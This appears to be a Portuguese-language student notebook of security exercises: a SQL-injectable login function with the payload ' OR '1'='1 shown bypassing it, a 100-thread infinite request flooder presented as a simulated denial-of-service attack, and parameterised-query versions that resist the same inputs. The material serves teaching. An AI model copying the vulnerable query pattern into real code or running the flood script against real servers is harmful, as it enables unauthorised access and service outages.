Tarefa 02:


+ Código
+ Texto
Copiar para o Drive
0s
def login_insecure(username, password):
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
return cursor.fetchone()
# Teste seguro
user_safe = login_insecure("admin", "admin123")
print("Usuário encontrado (login seguro):", user_safe)
# Simulação de SQL Injection
user_injection = login_insecure("admin", "' OR '1'='1")
print("Usuário encontrado (após SQL Injection):", user_injection)
connection.close()
Usuário encontrado (login seguro): (1, 'admin', 'admin123')
Usuário encontrado (após SQL Injection): (1, 'admin', 'admin123')

Tarefa 03:

+ Código + Texto | Copiar para o Drive

12s

```python
# Função para fazer múltiplas requisições ao servidor
def send_request(url):
    while True:
        try:
            response = requests.get(url)
            print(f"Requisição enviada com status: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Erro: {e}")

# URL de teste (use uma URL de um ambiente controlado)
target_url = 'http://example.com'

# Criar múltiplas threads para simular o ataque
threads = []
for i in range(100):  # Número de requisições simultâneas
    thread = threading.Thread(target=send_request, args=(target_url,))
    threads.append(thread)
    thread.start()
```

```
Requisição enviada com status: 200Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
Requisição enviada com status: 200
```

Desafio 1


+ Código
+ Texto
Copiar para o Drive
0s
# Conectando ao banco de dados em memória
connection = sqlite3.connect(':memory:')
cursor = connection.cursor()
# Criando uma tabela e inserindo dados
cursor.execute('''
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT,
password TEXT
)
''')
cursor.execute("INSERT INTO users (username, password) VALUES ('admin', 'admin123')")
cursor.execute("INSERT INTO users (username, password) VALUES ('user', 'user123')")
connection.commit()
# Função de login segura
def login(username, password):
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
return cursor.fetchone()
# Testando o login (não será vulnerável a SQL Injection)
user = login("admin", "' OR '1'='1")
print("Usuário encontrado:", user)
connection.close()
Usuário encontrado: None

Desafio 2


+ Código
+ Texto
Copiar para o Drive
0s
connection = sqlite3.connect(':memory:')
cursor = connection.cursor()
# Criando uma tabela e inserindo dados
cursor.execute('''
CREATE TABLE products (
id INTEGER PRIMARY KEY,
name TEXT,
price REAL
)
''')
cursor.execute("INSERT INTO products (name, price) VALUES ('Notebook', 2000.0)")
cursor.execute("INSERT INTO products (name, price) VALUES ('Smartphone', 1500.0)")
connection.commit()
# Função de busca de produtos segura
def search_product(product_name):
query = "SELECT * FROM products WHERE name LIKE ?"
cursor.execute(query, ('%' + product_name + '%',))
return cursor.fetchall()
# Testando a busca (não será vulnerável)
products = search_product("Notebook' OR '1'='1")
print("Produtos encontrados:", products)
connection.close()
Produtos encontrados: []